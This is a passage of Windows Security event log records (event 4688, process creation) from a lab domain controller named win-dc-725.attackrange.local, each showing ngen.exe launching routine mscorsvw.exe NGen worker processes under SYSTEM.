	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 428 -InterruptEvent 0 -NGENProcess 420 -Pipe 414 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:28 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254884
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd58
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 450 -InterruptEvent 0 -NGENProcess 404 -Pipe 410 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:28 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254883
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe50
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 42c -InterruptEvent 0 -NGENProcess 440 -Pipe 3d0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:29 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254887
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe2c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3e0 -InterruptEvent 0 -NGENProcess 438 -Pipe 448 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:29 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254886
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13fc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3e0 -InterruptEvent 0 -NGENProcess 440 -Pipe 424 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:29 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254885
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdd4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 424 -InterruptEvent 0 -NGENProcess 3e0 -Pipe 40c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:30 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254890
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1120
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 418 -InterruptEvent 0 -NGENProcess 42c -Pipe 43c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:30 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254889
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc14
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 428 -InterruptEvent 0 -NGENProcess 438 -Pipe 470 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:30 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254888
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc78
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 464 -InterruptEvent 0 -NGENProcess 438 -Pipe 468 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254895
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10dc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 428 -InterruptEvent 0 -NGENProcess 444 -Pipe 460 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254894
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1124
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 46c -InterruptEvent 0 -NGENProcess 404 -Pipe 454 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254893
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1070
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 460 -InterruptEvent 0 -NGENProcess 404 -Pipe 418 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254892
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1308
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 458 -InterruptEvent 0 -NGENProcess 404 -Pipe 450 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254891
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13b0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 444 -InterruptEvent 0 -NGENProcess 450 -Pipe 3c4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254899
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x139c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 490 -InterruptEvent 0 -NGENProcess 3e0 -Pipe 428 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254898
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1090
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 484 -InterruptEvent 0 -NGENProcess 3e0 -Pipe 408 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254897
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1344
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 444 -InterruptEvent 0 -NGENProcess 3e0 -Pipe 46c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254896
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x102c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 480 -InterruptEvent 0 -NGENProcess 408 -Pipe 440 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:33 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254908
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd00
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4bc -InterruptEvent 0 -NGENProcess 4c4 -Pipe 4c8 -Comment "NGen Worker Process"

